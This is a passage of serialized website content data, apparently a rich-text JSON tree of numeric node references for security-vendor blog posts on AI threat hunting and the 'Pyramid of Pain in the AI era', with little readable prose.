:19847,"marks":19848,"value":6614,"nodeType":864},{},[],{"data":19850,"content":19851,"nodeType":860},{},[19852],{"data":19853,"marks":19854,"value":6621,"nodeType":864},{},[],{"data":19856,"content":19857,"nodeType":860},{},[19858,19861,19867,19870,19876],{"data":19859,"marks":19860,"value":6628,"nodeType":864},{},[],{"data":19862,"content":19863,"nodeType":883},{"uri":6631},[19864],{"data":19865,"marks":19866,"value":6636,"nodeType":864},{},[],{"data":19868,"marks":19869,"value":6640,"nodeType":864},{},[],{"data":19871,"content":19872,"nodeType":883},{"uri":6643},[19873],{"data":19874,"marks":19875,"value":6648,"nodeType":864},{},[],{"data":19877,"marks":19878,"value":6652,"nodeType":864},{},[],{"data":19880,"content":19881,"nodeType":860},{},[19882],{"data":19883,"marks":19884,"value":6659,"nodeType":864},{},[],{"data":19886,"content":19889,"nodeType":996},{"target":19887},{"sys":19888},{"id":6664,"type":1001,"linkType":1002},[],{"data":19891,"content":19894,"nodeType":996},{"target":19892},{"sys":19893},{"id":6670,"type":1001,"linkType":1002},[],{"data":19896,"content":19897,"nodeType":860},{},[19898,19902],{"data":19899,"marks":19900,"value":6679,"nodeType":864},{},[19901],{"type":899},{"data":19903,"marks":19904,"value":6683,"nodeType":864},{},[],{"data":19906,"content":19907,"nodeType":1005},{},[],{"data":19909,"content":19910,"nodeType":1009},{},[19911],{"data":19912,"marks":19913,"value":6694,"nodeType":864},{},[19914],{"type":899},{"data":19916,"content":19917,"nodeType":860},{},[19918,19921,19925],{"data":19919,"marks":19920,"value":6701,"nodeType":864},{},[],{"data":19922,"marks":19923,"value":6706,"nodeType":864},{},[19924],{"type":2246},{"data":19926,"marks":19927,"value":6710,"nodeType":864},{},[],{"data":19929,"content":19930,"nodeType":860},{},[19931],{"data":19932,"marks":19933,"value":6717,"nodeType":864},{},[],{"data":19935,"content":19938,"nodeType":996},{"target":19936},{"sys":19937},{"id":6722,"type":1001,"linkType":1002},[],{"data":19940,"content":19941,"nodeType":860},{},[19942],{"data":19943,"marks":19944,"value":6730,"nodeType":864},{},[],{"data":19946,"content":19947,"nodeType":860},{},[19948],{"data":19949,"marks":19950,"value":6737,"nodeType":864},{},[],{"data":19952,"content":19955,"nodeType":996},{"target":19953},{"sys":19954},{"id":6742,"type":1001,"linkType":1002},[],{"data":19957,"content":19958,"nodeType":1005},{},[],{"data":19960,"content":19961,"nodeType":1009},{},[19962],{"data":19963,"marks":19964,"value":6754,"nodeType":864},{},[19965],{"type":899},{"data":19967,"content":19968,"nodeType":860},{},[19969],{"data":19970,"marks":19971,"value":6761,"nodeType":864},{},[],{"data":19973,"content":19976,"nodeType":996},{"target":19974},{"sys":19975},{"id":6766,"type":1001,"linkType":1002},[],{"data":19978,"content":19981,"nodeType":996},{"target":19979},{"sys":19980},{"id":6772,"type":1001,"linkType":1002},[],{"data":19983,"content":19984,"nodeType":860},{},[19985],{"data":19986,"marks":19987,"value":6780,"nodeType":864},{},[],{"data":19989,"content":19990,"nodeType":860},{},[19991],{"data":19992,"marks":19993,"value":6787,"nodeType":864},{},[],{"data":19995,"content":19996,"nodeType":860},{},[19997,20000,20006],{"data":19998,"marks":19999,"value":6794,"nodeType":864},{},[],{"data":20001,"content":20002,"nodeType":883},{"uri":6797},[20003],{"data":20004,"marks":20005,"value":6802,"nodeType":864},{},[],{"data":20007,"marks":20008,"value":2924,"nodeType":864},{},[],{"data":20010,"content":20013,"nodeType":996},{"target":20011},{"sys":20012},{"id":6810,"type":1001,"linkType":1002},[],{"data":20015,"content":20016,"nodeType":1005},{},[],{"data":20018,"content":20019,"nodeType":1009},{},[20020],{"data":20021,"marks":20022,"value":6822,"nodeType":864},{},[20023],{"type":899},{"data":20025,"content":20026,"nodeType":860},{},[20027,20030,20036],{"data":20028,"marks":20029,"value":6829,"nodeType":864},{},[],{"data":20031,"content":20032,"nodeType":883},{"uri":6631},[20033],{"data":20034,"marks":20035,"value":6836,"nodeType":864},{},[],{"data":20037,"marks":20038,"value":6840,"nodeType":864},{},[],{"data":20040,"content":20043,"nodeType":996},{"target":20041},{"sys":20042},{"id":6845,"type":1001,"linkType":1002},[],{"data":20045,"content":20046,"nodeType":860},{},[20047],{"data":20048,"marks":20049,"value":6853,"nodeType":864},{},[],{"data":20051,"content":20052,"nodeType":1005},{},[],{"data":20054,"content":20055,"nodeType":1009},{},[20056],{"data":20057,"marks":20058,"value":6864,"nodeType":864},{},[20059],{"type":899},{"data":20061,"content":20062,"nodeType":860},{},[20063],{"data":20064,"marks":20065,"value":6871,"nodeType":864},{},[],{"data":20067,"content":20068,"nodeType":860},{},[20069],{"data":20070,"marks":20071,"value":6878,"nodeType":864},{},[],{"data":20073,"content":20076,"nodeType":996},{"target":20074},{"sys":20075},{"id":6883,"type":1001,"linkType":1002},[],{"data":20078,"content":20081,"nodeType":996},{"target":20079},{"sys":20080},{"id":6889,"type":1001,"linkType":1002},[],{"data":20083,"content":20084,"nodeType":860},{},[20085,20088,20094,20097,20103,20106,20113],{"data":20086,"marks":20087,"value":6897,"nodeType":864},{},[],{"data":20089,"content":20090,"nodeType":883},{"uri":6900},[20091],{"data":20092,"marks":20093,"value":6905,"nodeType":864},{},[],{"data":20095,"marks":20096,"value":6909,"nodeType":864},{},[],{"data":20098,"content":20099,"nodeType":883},{"uri":6912},[20100],{"data":20101,"marks":20102,"value":6917,"nodeType":864},{},[],{"data":20104,"marks":20105,"value":902,"nodeType":864},{},[],{"data":20107,"content":20108,"nodeType":883},{"uri":6923},[20109],{"data":20110,"marks":20111,"value":6929,"nodeType":864},{},[20112],{"type":1455},{"data":20114,"marks":20115,"value":6933,"nodeType":864},{},[],{"data":20117,"content":20118,"nodeType":860},{},[20119],{"data":20120,"marks":20121,"value":6940,"nodeType":864},{},[],{"data":20123,"content":20124,"nodeType":1005},{},[],{"data":20126,"content":20127,"nodeType":1009},{},[20128],{"data":20129,"marks":20130,"value":6951,"nodeType":864},{},[20131],{"type":899},{"data":20133,"content":20134,"nodeType":860},{},[20135],{"data":20136,"marks":20137,"value":6958,"nodeType":864},{},[],{"data":20139,"content":20140,"nodeType":1312},{},[20141],{"data":20142,"marks":20143,"value":6965,"nodeType":864},{},[],{"data":20145,"content":20146,"nodeType":860},{},[20147,20150,20156,20159,20165,20168,20174],{"data":20148,"marks":20149,"value":6972,"nodeType":864},{},[],{"data":20151,"content":20152,"nodeType":883},{"uri":6975},[20153],{"data":20154,"marks":20155,"value":6980,"nodeType":864},{},[],{"data":20157,"marks":20158,"value":6984,"nodeType":864},{},[],{"data":20160,"content":20161,"nodeType":883},{"uri":6987},[20162],{"data":20163,"marks":20164,"value":6992,"nodeType":864},{},[],{"data":20166,"marks":20167,"value":6996,"nodeType":864},{},[],{"data":20169,"content":20170,"nodeType":883},{"uri":6999},[20171],{"data":20172,"marks":20173,"value":7004,"nodeType":864},{},[],{"data":20175,"marks":20176,"value":7008,"nodeType":864},{},[],{"data":20178,"content":20179,"nodeType":1312},{},[20180],{"data":20181,"marks":20182,"value":7015,"nodeType":864},{},[],{"data":20184,"content":20185,"nodeType":860},{},[20186,20189,20195,20198,20204],{"data":20187,"marks":20188,"value":7022,"nodeType":864},{},[],{"data":20190,"content":20191,"nodeType":883},{"uri":7025},[20192],{"data":20193,"marks":20194,"value":7030,"nodeType":864},{},[],{"data":20196,"marks":20197,"value":7034,"nodeType":864},{},[],{"data":20199,"content":20200,"nodeType":883},{"uri":7037},[20201],{"data":20202,"marks":20203,"value":7042,"nodeType":864},{},[],{"data":20205,"marks":20206,"value":7046,"nodeType":864},{},[],{"data":20208,"content":20209,"nodeType":1312},{},[20210],{"data":20211,"marks":20212,"value":7053,"nodeType":864},{},[],{"data":20214,"content":20215,"nodeType":860},{},[20216,20219,20225,20228,20234,20237,20243],{"data":20217,"marks":20218,"value":7060,"nodeType":864},{},[],{"data":20220,"content":20221,"nodeType":883},{"uri":7063},[20222],{"data":20223,"marks":20224,"value":7068,"nodeType":864},{},[],{"data":20226,"marks":20227,"value":7072,"nodeType":864},{},[],{"data":20229,"content":20230,"nodeType":883},{"uri":7075},[20231],{"data":20232,"marks":20233,"value":7080,"nodeType":864},{},[],{"data":20235,"marks":20236,"value":7084,"nodeType":864},{},[],{"data":20238,"content":20239,"nodeType":883},{"uri":7087},[20240],{"data":20241,"marks":20242,"value":7092,"nodeType":864},{},[],{"data":20244,"marks":20245,"value":7096,"nodeType":864},{},[],{"data":20247,"content":20248,"nodeType":860},{},[20249],{"data":20250,"marks":20251,"value":7103,"nodeType":864},{},[],{"data":20253,"content":20254,"nodeType":1005},{},[],{"data":20256,"content":20257,"nodeType":1009},{},[20258],{"data":20259,"marks":20260,"value":7114,"nodeType":864},{},[20261],{"type":899},{"data":20263,"content":20264,"nodeType":860},{},[20265,20268,20274],{"data":20266,"marks":20267,"value":7121,"nodeType":864},{},[],{"data":20269,"content":20270,"nodeType":883},{"uri":7124},[20271],{"data":20272,"marks":20273,"value":7129,"nodeType":864},{},[],{"data":20275,"marks":20276,"value":7133,"nodeType":864},{},[],{"data":20278,"content":20279,"nodeType":860},{},[20280],{"data":20281,"marks":20282,"value":7140,"nodeType":864},{},[],{"data":20284,"content":20285,"nodeType":1312},{},[20286],{"data":20287,"marks":20288,"value":7148,"nodeType":864},{},[20289],{"type":899},{"data":20291,"content":20292,"nodeType":860},{},[20293,20296,20300],{"data":20294,"marks":20295,"value":7155,"nodeType":864},{},[],{"data":20297,"marks":20298,"value":1555,"nodeType":864},{},[20299],{"type":899},{"data":20301,"marks":20302,"value":7163,"nodeType":864},{},[],{"data":20304,"content":20305,"nodeType":860},{},[20306],{"data":20307,"marks":20308,"value":7170,"nodeType":864},{},[],{"data":20310,"content":20311,"nodeType":860},{},[20312,20315,20321],{"data":20313,"marks":20314,"value":7177,"nodeType":864},{},[],{"data":20316,"content":20317,"nodeType":883},{"uri":7180},[20318],{"data":20319,"marks":20320,"value":7185,"nodeType":864},{},[],{"data":20322,"marks":20323,"value":7189,"nodeType":864},{},[],{"data":20325,"content":20326,"nodeType":860},{},[20327],{"data":20328,"marks":20329,"value":7196,"nodeType":864},{},[],{"data":20331,"content":20332,"nodeType":1005},{},[],{"data":20334,"content":20335,"nodeType":860},{},[20336],{"data":20337,"marks":20338,"value":1682,"nodeType":864},{},[],{"data":20340,"content":20341,"nodeType":860},{},[20342],{"data":20343,"marks":20344,"value":1689,"nodeType":864},{},[],{"data":20346,"content":20347,"nodeType":860},{},[20348,20351,20358],{"data":20349,"marks":20350,"value":21,"nodeType":864},{},[],{"data":20352,"content":20353,"nodeType":883},{"uri":5642},[20354],{"data":20355,"marks":20356,"value":1703,"nodeType":864},{},[20357],{"type":1455},{"data":20359,"marks":20360,"value":21,"nodeType":864},{},[],{"data":20362,"content":20363,"nodeType":1005},{},[],{"data":20365,"content":20366,"nodeType":1009},{},[20367],{"data":20368,"marks":20369,"value":7238,"nodeType":864},{},[20370],{"type":899},{"data":20372,"content":20373,"nodeType":860},{},[20374,20377,20383],{"data":20375,"marks":20376,"value":7245,"nodeType":864},{},[],{"data":20378,"content":20379,"nodeType":883},{"uri":7248},[20380],{"data":20381,"marks":20382,"value":7253,"nodeType":864},{},[],{"data":20384,"marks":20385,"value":7257,"nodeType":864},{},[],{"data":20387,"content":20388,"nodeType":860},{},[20389],{"data":20390,"marks":20391,"value":7264,"nodeType":864},{},[],{"data":20393,"content":20394,"nodeType":4845},{},[20395,20418,20439,20460,20481],{"data":20396,"content":20397,"nodeType":4581},{},[20398,20408],{"data":20399,"content":20400,"nodeType":7282},{},[20401],{"data":20402,"content":20403,"nodeType":860},{},[20404],{"data":20405,"marks":20406,"value":7281,"nodeType":864},{},[20407],{"type":899},{"data":20409,"content":20410,"nodeType":7282},{},[20411],{"data":20412,"content":20413,"nodeType":860},{},[20414],{"data":20415,"marks":20416,"value":7293,"nodeType":864},{},[20417],{"type":899},{"data":20419,"content":20420,"nodeType":4581},{},[20421,20430],{"data":20422,"content":20423,"nodeType":4569},{},[20424],{"data":20425,"content":20426,"nodeType":860},{},[20427],{"data":20428,"marks":20429,"value":7306,"nodeType":864},{},[],{"data":20431,"content":20432,"nodeType":4569},{},[20433],{"data":20434,"content":20435,"nodeType":860},{},[20436],{"data":20437,"marks":20438,"value":7316,"nodeType":864},{},[],{"data":20440,"content":20441,"nodeType":4581},{},[20442,20451],{"data":20443,"content":20444,"nodeType":4569},{},[20445],{"data":20446,"content":20447,"nodeType":860},{},[20448],{"data":20449,"marks":20450,"value":7329,"nodeType":864},{},[],{"data":20452,"content":20453,"nodeType":4569},{},[20454],{"data":20455,"content":20456,"nodeType":860},{},[20457],{"data":20458,"marks":20459,"value":7316,"nodeType":864},{},[],{"data":20461,"content":20462,"nodeType":4581},{},[20463,20472],{"data":20464,"content":20465,"nodeType":4569},{},[20466],{"data":20467,"content":20468,"nodeType":860},{},[20469],{"data":20470,"marks":20471,"value":7351,"nodeType":864},{},[],{"data":20473,"content":20474,"nodeType":4569},{},[20475],{"data":20476,"content":20477,"nodeType":860},{},[20478],{"data":20479,"marks":20480,"value":7361,"nodeType":864},{},[],{"data":20482,"content":20483,"nodeType":4581},{},[20484,20493],{"data":20485,"content":20486,"nodeType":4569},{},[20487],{"data":20488,"content":20489,"nodeType":860},{},[20490],{"data":20491,"marks":20492,"value":7374,"nodeType":864},{},[],{"data":20494,"content":20495,"nodeType":4569},{},[20496],{"data":20497,"content":20498,"nodeType":860},{},[20499],{"data":20500,"marks":20501,"value":7384,"nodeType":864},{},[],{"data":20503,"content":20504,"nodeType":860},{},[20505],{"data":20506,"marks":20507,"value":21,"nodeType":864},{},[],{"items":20509},[20510,20512],{"sys":20511,"name":6593},{"id":6592},{"sys":20513,"name":342},{"id":6596},{"items":20515},[20516],{"fullName":7404,"firstName":7405,"jobTitle":7406,"profilePicture":20517},{"url":7408},"why-you-cant-vibecode-an-ai-driven-threat-hunting-pipeline","blog/why-you-cant-vibecode-an-ai-driven-threat-hunting-pipeline",{"json":20521},{"data":20522,"content":20523,"nodeType":856},{},[20524],{"data":20525,"content":20526,"nodeType":860},{},[20527],{"data":20528,"marks":20529,"value":20530,"nodeType":864},{},[],"Push uses commercial AI models to deliver agentic threat hunting. Can’t you just build something yourself with those same models? Well, no.",{"id":20532,"publishedAt":20533},"2nQU0gDEqgarstvFMqFTzn","2026-08-12T11:52:43.949Z",{"items":20535},[20536,20538],{"sys":20537,"name":297},{"id":2732},{"sys":20539,"name":6593},{"id":6592},{"items":20541},[20542,20544,20546,20548,20550,20552,20554,20556],{"sys":20543,"name":297,"slug":298,"tier":31},{"id":294},{"sys":20545,"name":235,"slug":236,"tier":31},{"id":232},{"sys":20547,"name":342,"slug":343,"tier":31},{"id":339},{"sys":20549,"name":279,"slug":280,"tier":31},{"id":276},{"sys":20551,"name":351,"slug":352,"tier":45},{"id":348},{"sys":20553,"name":315,"slug":316,"tier":45},{"id":312},{"sys":20555,"name":261,"slug":262,"tier":45},{"id":258},{"sys":20557,"name":244,"slug":245,"tier":45},{"id":241},"jF4fS9N4zJQ4h7-u1zTGENs_HtJ7xy8E61BAyKKQc8k",{"id":20560,"title":8167,"authorsCollection":20561,"content":20567,"extension":228,"faqItemsCollection":21288,"faqTitle":59,"featured":6,"hashTags":59,"meta":21290,"metaTitle":21291,"ogImage":59,"postType":8776,"publishedDate":8169,"relatedBlogPostsCollection":21292,"slug":8170,"stem":23516,"subtitle":59,"summary":23517,"synopsis":8168,"sys":23528,"tagsCollection":23530,"topicsCollection":23536,"__hash__":23570},"blog/blog/the-pyramid-of-pain-in-the-ai-era.json",{"items":20562},[20563],{"fullName":2736,"firstName":2737,"jobTitle":2738,"socialLinks":20564,"profilePicture":20566},[20565],"https://www.linkedin.com/in/daniel-g-/",{"url":2740},{"json":20568,"links":21205},{"data":20569,"content":20570,"nodeType":856},{},[20571,20586,20591,20597,20603,20606,20613,20628,20643,20649,20654,20660,20665,20671,20678,20684,20699,20724,20729,20734,20741,20747,20762,20786,20811,20817,20822,20829,20835,20845,20851,20883,20888,20921,20952,20957,20960,20967,20973,20978,20984,20990,20995,21001,21007,21029,21032,21039,21045,21052,21058,21064,21080,21086,21091,21097,21104,21110,21125,21131,21146,21149,21156,21162,21168,21174,21177,21183,21189],{"data":20572,"content":20573,"nodeType":860},{},[20574,20577,20583],{"data":20575,"marks":20576,"value":7422,"nodeType":864},{},[],{"data":20578,"content":20579,"nodeType":883},{"uri":7425},[20580],{"data":20581,"marks":20582,"value":7430,"nodeType":864},{},[],{"data":20584,"marks":20585,"value":7434,"nodeType":864},{},[],{"data":20587,"content":20590,"nodeType":996},{"target":20588},{"sys":20589},{"id":7439,"type":1001,"linkType":1002},[],{"data":20592,"content":20593,"nodeType":860},{},[20594],{"data":20595,"marks":20596,"value":7447,"nodeType":864},{},[],{"data":20598,"content":20599,"nodeType":860},{},[20600],{"data":20601,"marks":20602,"value":7454,"nodeType":864},{},[],{"data":20604,"content":20605,"nodeType":1005},{},[],{"data":20607,"content":20608,"nodeType":1009},{},[20609],{"data":20610,"marks":20611,"value":7465,"nodeType":864},{},[20612],{"type":899},{"data":20614,"content":20615,"nodeType":860},{},[20616,20619,20625],{"data":20617,"marks":20618,"value":7472,"nodeType":864},{},[],{"data":20620,"content":20621,"nodeType":883},{"uri":7475},[20622],{"data":20623,"marks":20624,"value":7480,"nodeType":864},{},[],{"data":20626,"marks":20627,"value":7484,"nodeType":864},{},[],{"data":20629,"content":20630,"nodeType":860},{},[20631,20634,20640],{"data":20632,"marks":20633,"value":7491,"nodeType":864},{},[],{"data":20635,"content":20636,"nodeType":883},{"uri":7494},[20637],{"data":20638,"marks":20639,"value":7499,"nodeType":864},{},[],{"data":20641,"marks":20642,"value":7503,"nodeType":864},{},[],{"data":20644,"content":20645,"nodeType":860},{},[20646],{"data":20647,"marks":20648,"value":7510,"nodeType":864},{},[],{"data":20650,"content":20653,"nodeType":996},{"target":20651},{"sys":20652},{"id":7515,"type":1001,"linkType":1002},[],{"data":20655,"content":20656,"nodeType":860},{},[20657],{"data":20658,"marks":20659,"value":7523,"nodeType":864},{},[],{"data":20661,"content":20664,"nodeType":996},{"target":20662},{"sys":20663},{"id":7528,"type":1001,"linkType":1002},[],{"data":20666,"content":20667,"nodeType":860},{},[20668],{"data":20669,"marks":20670,"value":7536,"nodeType":864},{},[],{"data":20672,"content":20673,"nodeType":1312},{},[20674],{"data":20675,"marks":20676,"value":7544,"nodeType":864},{},[20677],{"type":899},{"data":20679,"content":20680,"nodeType":860},{},[20681],{"data":20682,"marks":20683,"value":7551,"nodeType":864},{},[],{"data":20685,"content":20686,"nodeType":860},{},[20687,20690,20696],{"data":20688,"marks":20689,"value":7558,"nodeType":864},{},[],{"data":20691,"content":20692,"nodeType":883},{"uri":7180},[20693],{"data":20694,"marks":20695,"value":7565,"nodeType":864},{},[],{"data":20697,"marks":20698,"value":7569,"nodeType":864},{},[],{"data":20700,"content":20701,"nodeType":860},{},[20702,20705,20712,20715,20721],{"data":20703,"marks":20704,"value":7576,"nodeType":864},{},[],{"data":20706,"content":20707,"nodeType":883},{"uri":5327},[20708],{"data":20709,"marks":20710,"value":7584,"nodeType":864},{},[20711],{"type":1455},{"data":20713,"marks":20714,"value":7588,"nodeType":864},{},[],{"data":20716,"content":20717,"nodeType":883},{"uri":7591},[20718],{"data":20719,"marks":20720,"value":7596,"nodeType":864},{},[],{"data":20722,"marks":20723,"value":7600,"nodeType":864},{},[],{"data":20725,"content":20728,"nodeType":996},{"target":20726},{"sys":20727},{"id":7605,"type":1001,"linkType":1002},[],{"data":20730,"content":20733,"nodeType":996},{"target":20731},{"sys":20732},{"id":7611,"type":1001,"linkType":1002},[],{"data":20735,"content":20736,"nodeType":1312},{},[20737],{"data":20738,"marks":20739,"value":7620,"nodeType":864},{},[20740],{"type":899},{"data":20742,"content":20743,"nodeType":860},{},[20744],{"data":20745,"marks":20746,"value":7627,"nodeType":864},{},[],{"data":20748,"content":20749,"nodeType":860},{},[20750,20753,20759],{"data":20751,"marks":20752,"value":7634,"nodeType":864},{},[],{"data":20754,"content":20755,"nodeType":883},{"uri":6543},[20756],{"data":20757,"marks":20758,"value":7641,"nodeType":864},{},[],{"data":20760,"marks":20761,"value":7645,"nodeType":864},{},[],{"data":20763,"content":20764,"nodeType":860},{},[20765,20768,20774,20777,20783],{"data":20766,"marks":20767,"value":7652,"nodeType":864},{},[],{"data":20769,"content":20770,"nodeType":883},{"uri":7655},[20771],{"data":20772,"marks":20773,"value":7660,"nodeType":864},{},[],{"data":20775,"marks":20776,"value":7664,"nodeType":864},{},[],{"data":20778,"content":20779,"nodeType":883},{"uri":3259},[20780],{"data":20781,"marks":20782,"value":7671,"nodeType":864},{},[],{"data":20784,"marks":20785,"value":7675,"nodeType":864},{},[],{"data":20787,"content":20788,"nodeType":860},{},[20789,20792,20798,20801,20808],{"data":20790,"marks":20791,"value":7682,"nodeType":864},{},[],{"data":20793,"content":20794,"nodeType":883},{"uri":7685},[20795],{"data":20796,"marks":20797,"value":7690,"nodeType":864},{},[],{"data":20799,"marks":20800,"value":7694,"nodeType":864},{},[],{"data":20802,"content":20803,"nodeType":883},{"uri":7697},[20804],{"data":20805,"marks":20806,"value":7703,"nodeType":864},{},[20807],{"type":1455},{"data":20809,"marks":20810,"value":7707,"nodeType":864},{},[],{"data":20812,"content":20813,"nodeType":860},{},[20814],{"data":20815,"marks":20816,"value":7714,"nodeType":864},{},[],{"data":20818,"content":20821,"nodeType":996},{"target":20819},{"sys":20820},{"id":7719,"type":1001,"linkType":1002},[],{"data":20823,"content":20824,"nodeType":1312},{},[20825],{"data":20826,"marks":20827,"value":7728,"nodeType":864},{},[20828],{"type":899},{"data":20830,"content":20831,"nodeType":860},{},[20832],{"data":20833,"marks":20834,"value":7735,"nodeType":864},{},[],{"data":20836,"content":20837,"nodeType":860},{},[20838,20842],{"data":20839,"marks":20840,"value":360,"nodeType":864},{},[20841],{"type":899},{"data":20843,"marks":20844,"value":7746,"nodeType":864},{},[],{"data":20846,"content":20847,"nodeType":860},{},[20848],{"data":20849,"marks":20850,"value":7753,"nodeType":864},{},[],{"data":20852,"content":20853,"nodeType":860},{},[20854,20857,20863,20866,20870,20873,20880],{"data":20855,"marks":20856,"value":7760,"nodeType":864},{},[],{"data":20858,"content":20859,"nodeType":883},{"uri":7763},[20860],{"data":20861,"marks":20862,"value":7768,"nodeType":864},{},[],{"data":20864,"marks":20865,"value":7772,"nodeType":864},{},[],{"data":20867,"marks":20868,"value":7777,"nodeType":864},{},[20869],{"type":899},{"data":20871,"marks":20872,"value":7781,"nodeType":864},{},[],{"data":20874,"content":20875,"nodeType":883},{"uri":4082},[20876],{"data":20877,"marks":20878,"value":7789,"nodeType":864},{},[20879],{"type":1455},{"data":20881,"marks":20882,"value":1774,"nodeType":864},{},[],{"data":20884,"content":20887,"nodeType":996},{"target":20885},{"sys":20886},{"id":7797,"type":1001,"linkType":1002},[],{"data":20889,"content":20890,"nodeType":860},{},[20891,20894,20898,20901,20908,20911,20918],{"data":20892,"marks":20893,"value":7805,"nodeType":864},{},[],{"data":20895,"marks":20896,"value":315,"nodeType":864},{},[20897],{"type":899},{"data":20899,"marks":20900,"value":7813,"nodeType":864},{},[],{"data":20902,"content":20903,"nodeType":883},{"uri":7816},[20904],{"data":20905,"marks":20906,"value":7822,"nodeType":864},{},[20907],{"type":1455},{"data":20909,"marks":20910,"value":7826,"nodeType":864},{},[],{"data":20912,"content":20913,"nodeType":883},{"uri":5971},[20914],{"data":20915,"marks":20916,"value":7834,"nodeType":864},{},[20917],{"type":1455},{"data":20919,"marks":20920,"value":7838,"nodeType":864},{},[],{"data":20922,"content":20923,"nodeType":860},{},[20924,20927,20931,20934,20940,20943,20949],{"data":20925,"marks":20926,"value":7845,"nodeType":864},{},[],{"data":20928,"marks":20929,"value":6041,"nodeType":864},{},[20930],{"type":899},{"data":20932,"marks":20933,"value":7853,"nodeType":864},{},[],{"data":20935,"content":20936,"nodeType":883},{"uri":6036},[20937],{"data":20938,"marks":20939,"value":7860,"nodeType":864},{},[],{"data":20941,"marks":20942,"value":7864,"nodeType":864},{},[],{"data":20944,"content":20945,"nodeType":883},{"uri":6075},[20946],{"data":20947,"marks":20948,"value":7871,"nodeType":864},{},[],{"data":20950,"marks":20951,"value":7875,"nodeType":864},{},[],{"data":20953,"content":20956,"nodeType":996},{"target":20954},{"sys":20955},{"id":7880,"type":1001,"linkType":1002},[],{"data":20958,"content":20959,"nodeType":1005},{},[],{"data":20961,"content":20962,"nodeType":1009},{},[20963],{"data":20964,"marks":20965,"value":7892,"nodeType":864},{},[20966],{"type":899},{"data":20968,"content":20969,"nodeType":860},{},[20970],{"data":20971,"marks":20972,"value":7899,"nodeType":864},{},[],{"data":20974,"content":20977,"nodeType":996},{"target":20975},{"sys":20976},{"id":7904,"type":1001,"linkType":1002},[],{"data":20979,"content":20980,"nodeType":860},{},[20981],{"data":20982,"marks":20983,"value":7912,"nodeType":864},{},[],{"data":20985,"content":20986,"nodeType":860},{},[20987],{"data":20988,"marks":20989,"value":7919,"nodeType":864},{},[],{"data":20991,"content":20994,"nodeType":996},{"target":20992},{"sys":20993},{"id":7924,"type":1001,"linkType":1002},[],{"data":20996,"content":20997,"nodeType":860},{},[20998],{"data":20999,"marks":21000,"value":7932,"nodeType":864},{},[],{"data":21002,"content":21003,"nodeType":860},{},[21004],{"data":21005,"marks":21006,"value":7939,"nodeType":864},{},[],{"data":21008,"content":21009,"nodeType":1116},{},[21010],{"data":21011,"content":21012,"nodeType":860},{},[21013,21016,21022,21025],{"data":21014,"marks":21015,"value":7949,"nodeType":864},{},[],{"data":21017,"content":21018,"nodeType":883},{"uri":7952},[21019],{"data":21020,"marks":21021,"value":7957,"nodeType":864},{},[],{"data":21023,"marks":21024,"value":7961,"nodeType":864},{},[],{"data":21026,"marks":21027,"value":7966,"nodeType":864},{},[21028],{"type":2246},{"data":21030,"content":21031,"nodeType":1005},{},[],{"data":21033,"content":21034,"nodeType":1009},{},[21035],{"data":21036,"marks":21037,"value":7977,"nodeType":864},{},[21038],{"type":899},{"data":21040,"content":21041,"nodeType":860},{},[21042],{"data":21043,"marks":21044,"value":7984,"nodeType":864},{},[],{"data":21046,"content":21047,"nodeType":1312},{},[21048],{"data":21049,"marks":21050,"value":7992,"nodeType":864},{},[21051],{"type":899},{"data":21053,"content":21054,"nodeType":860},{},[21055],{"data":21056,"marks":21057,"value":7999,"nodeType":864},{},[],{"data":21059,"content":21060,"nodeType":860},{},[21061],{"data":21062,"marks":21063,"value":8006,"nodeType":864},{},[],{"data":21065,"content":21066,"nodeType":860},{},[21067,21070,21077],{"data":21068,"marks":21069,"value":8013,"nodeType":864},{},[],{"data":21071,"content":21072,"nodeType":883},{"uri":6543},[21073],{"data":21074,"marks":21075,"value":8021,"nodeType":864},{},[21076],{"type":1455},{"data":21078,"marks":21079,"value":8025,"nodeType":864},{},[],{"data":21081,"content":21082,"nodeType":860},{},[21083],{"data":21084,"marks":21085,"value":8032,"nodeType":864},{},[],{"data":21087,"content":21090,"nodeType":996},{"target":21088},{"sys":21089},{"id":8037,"type":1001,"linkType":1002},[],{"data":21092,"content":21093,"nodeType":860},{},[21094],{"data":21095,"marks":21096,"value":8045,"nodeType":864},{},[],{"data":21098,"content":21099,"nodeType":1312},{},[21100],{"data":21101,"marks":21102,"value":8053,"nodeType":864},{},[21103],{"type":899},{"data":21105,"content":21106,"nodeType":860},{},[21107],{"data":21108,"marks":21109,"value":8060,"nodeType":864},{},[],{"data":21111,"content":21112,"nodeType":860},{},[21113,21116,21122],{"data":21114,"marks":21115,"value":8067,"nodeType":864},{},[],{"data":21117,"content":21118,"nodeType":883},{"uri":7180},[21119],{"data":21120,"marks":21121,"value":7185,"nodeType":864},{},[],{"data":21123,"marks":21124,"value":8077,"nodeType":864},{},[],{"data":21126,"content":21127,"nodeType":860},{},[21128],{"data":21129,"marks":21130,"value":8084,"nodeType":864},{},[],{"data":21132,"content":21133,"nodeType":860},{},[21134,21137,21143],{"data":21135,"marks":21136,"value":8091,"nodeType":864},{},[],{"data":21138,"content":21139,"nodeType":883},{"uri":6024},[21140],{"data":21141,"marks":21142,"value":8098,"nodeType":864},{},[],{"data":21144,"marks":21145,"value":8102,"nodeType":864},{},[],{"data":21147,"content":21148,"nodeType":1005},{},[],{"data":21150,"content":21151,"nodeType":1009},{},[21152],{"data":21153,"marks":21154,"value":8113,"nodeType":864},{},[21155],{"type":899},{"data":21157,"content":21158,"nodeType":860},{},[21159],{"data":21160,"marks":21161,"value":8120,"nodeType":864},{},[],{"data":21163,"content":21164,"nodeType":860},{},[21165],{"data":21166,"marks":21167,"value":8127,"nodeType":864},{},[],{"data":21169,"content":21170,"nodeType":860},{},[21171],{"data":21172,"marks":21173,"value":8134,"nodeType":864},{},[],{"data":21175,"content":21176,"nodeType":1005},{},[],{"data":21178,"content":21179,"nodeType":860},{},[21180],{"data":21181,"marks":21182,"value":1682,"nodeType":864},{},[],{"data":21184,"content":21185,"nodeType":860},{},[21186],{"data":21187,"marks":21188,"value":1689,"nodeType":864},{},[],{"data":21190,"content":21191,"nodeType":860},{},[21192,21195,21202],{"data":21193,"marks":21194,"value":21,"nodeType":864},{},[],{"data":21196,"content":21197,"nodeType":883},{"uri":1700},[21198],{"data":21199,"marks":21200,"value":8163,"nodeType":864},{},[21201],{"type":1455},{"data":21203,"marks":21204,"value":2719,"nodeType":864},{},[],{"entries":21206},{"hyperlink":21207,"inline":21208,"block":21209},[],[],[21210,21218,21221,21227,21231,21238,21243,21250,21264,21268,21282],{"sys":21211,"__typename":1724,"title":21212,"caption":21213,"layoutMode":59,"file":21214},{"id":7439},"The Pyramid of Pain illustrates how difficult it is for an 